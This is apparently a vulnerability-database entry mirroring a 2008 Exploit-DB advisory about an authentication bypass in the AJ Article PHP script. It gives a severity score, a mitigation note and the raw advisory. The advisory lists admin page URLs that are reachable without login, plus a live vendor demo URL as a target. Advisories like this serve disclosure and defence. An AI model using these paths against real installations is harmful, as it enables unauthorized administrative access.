AJ Article Auth Bypass Vulnerability

vendor:

AJ Article

by:

G4N0K

7.5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: AJ Article

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

AJ Article Auth Bypass Vulnerability

AJ Article is vulnerable to an authentication bypass vulnerability. This vulnerability allows an attacker to access the administrative panel of the AJ Article application without authentication. The vulnerable pages include user.php, articles.php, articlesuspend.php, site.php, statistics.php, mail.php, category.php, subcategory.php, changepassword.php, polling.php, logo.php, etc. An attacker can exploit this vulnerability by accessing the vulnerable pages directly.

Mitigation:

Upgrade to the latest version of AJ Article.

Source

Exploit-DB raw data:

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	AJ Article Auth Bypass Vulnerability
==============================================================================

	[Â»] Script:             [ AJ Article ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://www.ajsquare.com/products/article/ ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 10.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===
	
	[Â»] http://localhost/[path]/admin/user.php
	[Â»] http://localhost/[path]/admin/articles.php
	[Â»] http://localhost/[path]/admin/articlesuspend.php
	[Â»] http://localhost/[path]/admin/site.php
	[Â»] http://localhost/[path]/admin/statistics.php
	[Â»] http://localhost/[path]/admin/mail.php
	[Â»] http://localhost/[path]/admin/category.php
	[Â»] http://localhost/[path]/admin/subcategory.php
	[Â»] http://localhost/[path]/admin/changepassword.php
	[Â»] http://localhost/[path]/admin/polling.php
	[Â»] http://localhost/[path]/admin/logo.php
	[Â»] ...
	


===[ LIVE ]===

	[Â»] http://www.ajsquare.com/products/demo/admin/


	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-10]